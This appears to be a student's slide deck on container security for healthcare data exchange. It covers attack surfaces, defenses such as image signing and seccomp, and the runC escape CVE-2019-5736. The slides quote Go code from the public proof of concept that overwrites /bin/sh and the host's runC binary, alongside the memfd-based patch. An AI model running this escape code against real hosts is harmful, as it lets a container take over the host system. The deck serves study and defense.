

The Container Security in Healthcare Data Exchange System

Bachelor's degree graduation project

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Outline

1 Attack

2 Defense
3 Planing

Attack

Attacking surfaces

- Escape: runC, kernel exploit
- malicious images
- inner-container app's attack

Defense

The runC and the kernel exploit

The kernel exploit is not considered in this project.
The runC vulnerability will be discussed later.

Images and containers(runtime)

Sign it. (The whole digital signature)

Scan it. (Recursively brute force to scan the file system, just like the anti-virus)

Inner-container protection

- Configuration-based: Just like the Cilium and docker arguments
- Code-based: Seccomp, LSM
- Rule-based: Rules in Apparmor, SELinux...

Well...

Some papers... [1, 2, 3]

I don't want

Make the fourth way: AI-based
Use the CNN, DNN or some AI algorithms.

The runC: CVE-2019-5736

PoC

- Must run in the privileged container.
- Try to overwrite the `/sbin/init` program, a.k.a the runC program's binary file.
- Busy waiting to overwrite.

Patch

- Create a temporary copy of the calling binary itself when it starts.
- Using the `memfd_create()` system call and copies itself into the temporary in-memory file.
- Execute this `memfd`.
- Redirect the write operations from a privileged container to the in-memory binary.
- However, the in-memory binary is sealed, writes to this will also fail.

```

// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
    fmt.Println(err)
    return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
    fmt.Println(err)
    return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
    // Note, you do not need to use the O_PATH flag for the exploit to work.
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
        handleFd = int(handle.Fd())
    }
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY)
    if int(writeHandle.Fd()) > 0 {
        fmt.Println("[+] Successfully got write handle", writeHandle)
        writeHandle.Write([]byte(payload))
        return
    }
}

```

```
117     fd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
118     if (fd < 0)
119         goto on_error;
120
121     /* sendfile() handles up to 2GB. */
122     bytes_sent = lxc_sendfile_nointr(memfd, fd, NULL, LXC_SENDFILE_MAX);
123     saved_errno = errno;
124     close(fd);
125     errno = saved_errno;
126     if (bytes_sent < 0)
127         goto on_error;
128
129     if (fcntl(memfd, F_ADD_SEALS, LXC_MEMFD_REEXEC_SEALS))
130         goto on_error;
131
132     fexecve(memfd, argv, envp);
```

Planing

Discuss with senior and Tim Hsu



追一下 clone 的實作和 task structure



Give me one more week ...
I know the summer is not so long.

References

- [1] Xiaowan Dong et al. "Shielding Software From Privileged Side-Channel Attacks". In: *27th USENIX Security Symposium (USENIX Security 18)*. Baltimore, MD: USENIX Association, Aug. 2018, pp. 1441–1458. ISBN: 978-1-939133-04-5. URL: <https://www.usenix.org/conference/usenixsecurity18/presentation/dong>.
- [2] Reiner Sailer et al. "Design and Implementation of a TCG-based Integrity Measurement Architecture". In: *13th USENIX Security Symposium (USENIX Security 04)*. San Diego, CA: USENIX Association, Aug. 2004. URL: <https://www.usenix.org/conference/13th-usenix-security-symposium/design-and-implementation-tcg-based-integrity-measurement>.
- [3] Sung-Taek Lee Sung-Hwa Han Hoo-Ki Lee. "Container Image Access Control Architecture to Protect Applications". In: *IEEE Access* 8.19980335 (2020).